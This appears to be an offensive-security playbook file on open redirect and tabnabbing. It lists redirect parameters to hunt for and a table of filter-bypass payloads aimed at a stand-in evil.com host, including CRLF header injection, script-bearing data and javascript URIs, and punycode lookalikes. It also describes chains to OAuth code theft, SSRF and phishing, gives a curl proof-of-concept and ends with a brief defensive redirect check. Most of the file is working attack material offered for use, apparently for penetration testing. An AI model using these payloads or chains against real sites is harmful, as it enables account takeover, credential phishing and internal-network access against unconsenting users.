| name | open-redirect |
| description | Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain. |
| metadata | {"when_to_use":"open redirect url next return continue redirect_uri tabnabbing","mitre_attack":"T1204","subdomain":"redirect","upstream_ref":"skills/_corpus/payloads/Open Redirect/"} |
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself.
Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://target.com@evil.com |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser
follows the 302 → evil.com → code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But
fetches the URL via redirect. Server-side fetcher visits target.com (allowed),
follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain → click → lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker — but URL bar shows target.com for
the first second, building trust.
3.4 Tabnabbing
window.open(URL) w/o noopener,noreferrer → opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.
4. Tools
- OpenRedireX — fuzz w/ massive payload list
- Burp Intruder w/ payloads from
_corpus/payloads/Open Redirect/
gf (Tomnomnom) patterns to extract redirect params from URLs
5. PoC
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
6. Severity
| Scenario | Typical |
|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth → ATO | Critical 9.0 |
| Chained w/ SSRF bypass → metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |
7. Defender
from urllib.parse import urlparse
def safe_redirect(url, allowed_hosts={'target.com'}):
p = urlparse(url)
if not p.netloc:
return url if url.startswith('/') and not url.startswith('//') else '/'
if p.netloc in allowed_hosts:
return url
return '/'
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer'
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Open Redirect/
- OAuth chain extension:
skills/exploit/web/oauth/SKILL.md
- SSRF chain extension:
skills/exploit/web/ssrf.md